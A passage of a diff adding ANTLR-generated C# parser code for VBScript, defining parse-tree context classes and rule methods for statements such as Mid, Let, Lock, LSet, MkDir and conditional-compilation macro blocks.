+ State = 1497; + valueStmt(0); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class MidStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode MID() { return GetToken(VBScriptParser.MID, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode LPAREN() { return GetToken(VBScriptParser.LPAREN, 0); } + [System.Diagnostics.DebuggerNonUserCode] public AmbiguousIdentifierContext ambiguousIdentifier() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] COMMA() { return GetTokens(VBScriptParser.COMMA); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode COMMA(int i) { + return GetToken(VBScriptParser.COMMA, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ArgCallContext[] argCall() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public ArgCallContext argCall(int i) { + return GetRuleContext(i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode RPAREN() { return GetToken(VBScriptParser.RPAREN, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode EQ() { return GetToken(VBScriptParser.EQ, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext valueStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + public MidStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_midStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterMidStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitMidStmt(this); + } + } + + [RuleVersion(0)] + public MidStmtContext midStmt() { + MidStmtContext _localctx = new MidStmtContext(Context, State); + EnterRule(_localctx, 134, RULE_midStmt); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 1499; + Match(MID); + State = 1501; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 1500; + Match(WS); + } + } + + State = 1503; + Match(LPAREN); + State = 1505; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 1504; + Match(WS); + } + } + + State = 1507; + ambiguousIdentifier(); + State = 1509; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 1508; + Match(WS); + } + } + + State = 1511; + Match(COMMA); + State = 1513; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,207,Context) ) { + case 1: + { + State = 1512; + Match(WS); + } + break; + } + State = 1515; + argCall(); + State = 1517; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 1516; + Match(WS); + } + } + + State = 1519; + Match(COMMA); + State = 1521; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,209,Context) ) { + case 1: + { + State = 1520; + Match(WS); + } + break; + } + State = 1523; + argCall(); + State = 1532; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,212,Context) ) { + case 1: + { + State = 1525; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 1524; + Match(WS); + } + } + + State = 1527; + Match(COMMA); + State = 1529; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,211,Context) ) { + case 1: + { + State = 1528; + Match(WS); + } + break; + } + State = 1531; + argCall(); + } + break; + } + State = 1535; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 1534; + Match(WS); + } + } + + State = 1537; + Match(RPAREN); + State = 1539; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 1538; + Match(WS); + } + } + + State = 1541; + Match(EQ); + State = 1543; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,215,Context) ) { + case 1: + { + State = 1542; + Match(WS); + } + break; + } + State = 1545; + valueStmt(0); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class LetStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ImplicitCallStmt_InStmtContext implicitCallStmt_InStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext valueStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode EQ() { return GetToken(VBScriptParser.EQ, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode PLUS_EQ() { return GetToken(VBScriptParser.PLUS_EQ, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode MINUS_EQ() { return GetToken(VBScriptParser.MINUS_EQ, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode LET() { return GetToken(VBScriptParser.LET, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + public LetStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_letStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterLetStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitLetStmt(this); + } + } + + [RuleVersion(0)] + public LetStmtContext letStmt() { + LetStmtContext _localctx = new LetStmtContext(Context, State); + EnterRule(_localctx, 136, RULE_letStmt); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 1549; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,216,Context) ) { + case 1: + { + State = 1547; + Match(LET); + State = 1548; + Match(WS); + } + break; + } + State = 1551; + implicitCallStmt_InStmt(); + State = 1553; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 1552; + Match(WS); + } + } + + State = 1555; + _la = TokenStream.LA(1); + if ( !(((((_la - 188)) & ~0x3f) == 0 && ((1L << (_la - 188)) & 33793L) != 0)) ) { + ErrorHandler.RecoverInline(this); + } + else { + ErrorHandler.ReportMatch(this); + Consume(); + } + State = 1557; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,218,Context) ) { + case 1: + { + State = 1556; + Match(WS); + } + break; + } + State = 1559; + valueStmt(0); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class LineInputStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode LINE_INPUT() { return GetToken(VBScriptParser.LINE_INPUT, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext[] valueStmt() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext valueStmt(int i) { + return GetRuleContext(i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode COMMA() { return GetToken(VBScriptParser.COMMA, 0); } + public LineInputStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_lineInputStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterLineInputStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitLineInputStmt(this); + } + } + + [RuleVersion(0)] + public LineInputStmtContext lineInputStmt() { + LineInputStmtContext _localctx = new LineInputStmtContext(Context, State); + EnterRule(_localctx, 138, RULE_lineInputStmt); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 1561; + Match(LINE_INPUT); + State = 1562; + Match(WS); + State = 1563; + valueStmt(0); + State = 1565; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 1564; + Match(WS); + } + } + + State = 1567; + Match(COMMA); + State = 1569; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,220,Context) ) { + case 1: + { + State = 1568; + Match(WS); + } + break; + } + State = 1571; + valueStmt(0); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class LoadStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode LOAD() { return GetToken(VBScriptParser.LOAD, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS() { return GetToken(VBScriptParser.WS, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext valueStmt() { + return GetRuleContext(0); + } + public LoadStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_loadStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterLoadStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitLoadStmt(this); + } + } + + [RuleVersion(0)] + public LoadStmtContext loadStmt() { + LoadStmtContext _localctx = new LoadStmtContext(Context, State); + EnterRule(_localctx, 140, RULE_loadStmt); + try { + EnterOuterAlt(_localctx, 1); + { + State = 1573; + Match(LOAD); + State = 1574; + Match(WS); + State = 1575; + valueStmt(0); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class LockStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode LOCK() { return GetToken(VBScriptParser.LOCK, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext[] valueStmt() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext valueStmt(int i) { + return GetRuleContext(i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode COMMA() { return GetToken(VBScriptParser.COMMA, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode TO() { return GetToken(VBScriptParser.TO, 0); } + public LockStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_lockStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterLockStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitLockStmt(this); + } + } + + [RuleVersion(0)] + public LockStmtContext lockStmt() { + LockStmtContext _localctx = new LockStmtContext(Context, State); + EnterRule(_localctx, 142, RULE_lockStmt); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 1577; + Match(LOCK); + State = 1578; + Match(WS); + State = 1579; + valueStmt(0); + State = 1594; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,224,Context) ) { + case 1: + { + State = 1581; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 1580; + Match(WS); + } + } + + State = 1583; + Match(COMMA); + State = 1585; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,222,Context) ) { + case 1: + { + State = 1584; + Match(WS); + } + break; + } + State = 1587; + valueStmt(0); + State = 1592; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,223,Context) ) { + case 1: + { + State = 1588; + Match(WS); + State = 1589; + Match(TO); + State = 1590; + Match(WS); + State = 1591; + valueStmt(0); + } + break; + } + } + break; + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class LsetStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode LSET() { return GetToken(VBScriptParser.LSET, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ImplicitCallStmt_InStmtContext implicitCallStmt_InStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode EQ() { return GetToken(VBScriptParser.EQ, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext valueStmt() { + return GetRuleContext(0); + } + public LsetStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_lsetStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterLsetStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitLsetStmt(this); + } + } + + [RuleVersion(0)] + public LsetStmtContext lsetStmt() { + LsetStmtContext _localctx = new LsetStmtContext(Context, State); + EnterRule(_localctx, 144, RULE_lsetStmt); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 1596; + Match(LSET); + State = 1597; + Match(WS); + State = 1598; + implicitCallStmt_InStmt(); + State = 1600; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 1599; + Match(WS); + } + } + + State = 1602; + Match(EQ); + State = 1604; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,226,Context) ) { + case 1: + { + State = 1603; + Match(WS); + } + break; + } + State = 1606; + valueStmt(0); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class MacroIfThenElseStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public MacroIfBlockStmtContext macroIfBlockStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode MACRO_END_IF() { return GetToken(VBScriptParser.MACRO_END_IF, 0); } + [System.Diagnostics.DebuggerNonUserCode] public MacroElseIfBlockStmtContext[] macroElseIfBlockStmt() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public MacroElseIfBlockStmtContext macroElseIfBlockStmt(int i) { + return GetRuleContext(i); + } + [System.Diagnostics.DebuggerNonUserCode] public MacroElseBlockStmtContext macroElseBlockStmt() { + return GetRuleContext(0); + } + public MacroIfThenElseStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_macroIfThenElseStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterMacroIfThenElseStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitMacroIfThenElseStmt(this); + } + } + + [RuleVersion(0)] + public MacroIfThenElseStmtContext macroIfThenElseStmt() { + MacroIfThenElseStmtContext _localctx = new MacroIfThenElseStmtContext(Context, State); + EnterRule(_localctx, 146, RULE_macroIfThenElseStmt); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 1608; + macroIfBlockStmt(); + State = 1612; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + while (_la==MACRO_ELSEIF) { + { + { + State = 1609; + macroElseIfBlockStmt(); + } + } + State = 1614; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + } + State = 1616; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==MACRO_ELSE) { + { + State = 1615; + macroElseBlockStmt(); + } + } + + State = 1618; + Match(MACRO_END_IF); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class MacroIfBlockStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode MACRO_IF() { return GetToken(VBScriptParser.MACRO_IF, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public IfConditionStmtContext ifConditionStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode THEN() { return GetToken(VBScriptParser.THEN, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] NEWLINE() { return GetTokens(VBScriptParser.NEWLINE); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode NEWLINE(int i) { + return GetToken(VBScriptParser.NEWLINE, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ModuleBodyContext moduleBody() { + return GetRuleContext(0); + } + public MacroIfBlockStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_macroIfBlockStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterMacroIfBlockStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitMacroIfBlockStmt(this); + } + } + + [RuleVersion(0)] + public MacroIfBlockStmtContext macroIfBlockStmt() { + MacroIfBlockStmtContext _localctx = new MacroIfBlockStmtContext(Context, State); + EnterRule(_localctx, 148, RULE_macroIfBlockStmt); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 1620; + Match(MACRO_IF); + State = 1621; + Match(WS); + State = 1622; + ifConditionStmt(); + State = 1623; + Match(WS); + State = 1624; + Match(THEN); + State = 1626; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + do { + { + { + State = 1625; + Match(NEWLINE); + } + } + State = 1628; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + } while ( _la==NEWLINE ); + State = 1636; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if ((((_la) & ~0x3f) == 0 && ((1L << _la) & -216067229064628226L) != 0) || ((((_la - 64)) & ~0x3f) == 0 && ((1L << (_la - 64)) & -248034361345L) != 0) || ((((_la - 128)) & ~0x3f) == 0 && ((1L << (_la - 128)) & 2891310960771857919L) != 0) || ((((_la - 208)) & ~0x3f) == 0 && ((1L << (_la - 208)) & 37889L) != 0)) { + { + State = 1630; + moduleBody(); + State = 1632; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + do { + { + { + State = 1631; + Match(NEWLINE); + } + } + State = 1634; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + } while ( _la==NEWLINE ); + } + } + + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class MacroElseIfBlockStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode MACRO_ELSEIF() { return GetToken(VBScriptParser.MACRO_ELSEIF, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public IfConditionStmtContext ifConditionStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode THEN() { return GetToken(VBScriptParser.THEN, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] NEWLINE() { return GetTokens(VBScriptParser.NEWLINE); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode NEWLINE(int i) { + return GetToken(VBScriptParser.NEWLINE, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ModuleBodyContext moduleBody() { + return GetRuleContext(0); + } + public MacroElseIfBlockStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_macroElseIfBlockStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterMacroElseIfBlockStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitMacroElseIfBlockStmt(this); + } + } + + [RuleVersion(0)] + public MacroElseIfBlockStmtContext macroElseIfBlockStmt() { + MacroElseIfBlockStmtContext _localctx = new MacroElseIfBlockStmtContext(Context, State); + EnterRule(_localctx, 150, RULE_macroElseIfBlockStmt); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 1638; + Match(MACRO_ELSEIF); + State = 1639; + Match(WS); + State = 1640; + ifConditionStmt(); + State = 1641; + Match(WS); + State = 1642; + Match(THEN); + State = 1644; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + do { + { + { + State = 1643; + Match(NEWLINE); + } + } + State = 1646; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + } while ( _la==NEWLINE ); + State = 1654; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if ((((_la) & ~0x3f) == 0 && ((1L << _la) & -216067229064628226L) != 0) || ((((_la - 64)) & ~0x3f) == 0 && ((1L << (_la - 64)) & -248034361345L) != 0) || ((((_la - 128)) & ~0x3f) == 0 && ((1L << (_la - 128)) & 2891310960771857919L) != 0) || ((((_la - 208)) & ~0x3f) == 0 && ((1L << (_la - 208)) & 37889L) != 0)) { + { + State = 1648; + moduleBody(); + State = 1650; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + do { + { + { + State = 1649; + Match(NEWLINE); + } + } + State = 1652; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + } while ( _la==NEWLINE ); + } + } + + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class MacroElseBlockStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode MACRO_ELSE() { return GetToken(VBScriptParser.MACRO_ELSE, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] NEWLINE() { return GetTokens(VBScriptParser.NEWLINE); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode NEWLINE(int i) { + return GetToken(VBScriptParser.NEWLINE, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ModuleBodyContext moduleBody() { + return GetRuleContext(0); + } + public MacroElseBlockStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_macroElseBlockStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterMacroElseBlockStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitMacroElseBlockStmt(this); + } + } + + [RuleVersion(0)] + public MacroElseBlockStmtContext macroElseBlockStmt() { + MacroElseBlockStmtContext _localctx = new MacroElseBlockStmtContext(Context, State); + EnterRule(_localctx, 152, RULE_macroElseBlockStmt); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 1656; + Match(MACRO_ELSE); + State = 1658; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + do { + { + { + State = 1657; + Match(NEWLINE); + } + } + State = 1660; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + } while ( _la==NEWLINE ); + State = 1668; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if ((((_la) & ~0x3f) == 0 && ((1L << _la) & -216067229064628226L) != 0) || ((((_la - 64)) & ~0x3f) == 0 && ((1L << (_la - 64)) & -248034361345L) != 0) || ((((_la - 128)) & ~0x3f) == 0 && ((1L << (_la - 128)) & 2891310960771857919L) != 0) || ((((_la - 208)) & ~0x3f) == 0 && ((1L << (_la - 208)) & 37889L) != 0)) { + { + State = 1662; + moduleBody(); + State = 1664; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + do { + { + { + State = 1663; + Match(NEWLINE); + } + } + State = 1666; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + } while ( _la==NEWLINE ); + } + } + + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class MkdirStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode MKDIR() { return GetToken(VBScriptParser.MKDIR, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS() { return GetToken(VBScriptParser.WS, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext valueStmt() { + return GetRuleContext(0); + } + public MkdirStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_mkdirStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterMkdirStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitMkdirStmt(this); + } + } + + [RuleVersion(0)] + public MkdirStmtContext mkdirStmt() { + MkdirStmtContext _localctx = new MkdirStmtContext(Context, State); + EnterRule(_localctx, 154, RULE_mkdirStmt); + try { + EnterOuterAlt(_localctx, 1); + { + State = 1670; + Match(MKDIR); + State = 1671; + Match(WS); + State = 1672; + valueStmt(0); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class NameStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode NAME() { return GetToken(VBScriptParser.NAME, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext[] valueStmt() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext valueStmt(int i) { + return GetRuleContext(i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode AS() { return GetToken(VBScriptParser.AS, 0); } + public NameStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_nameStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterNameStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) 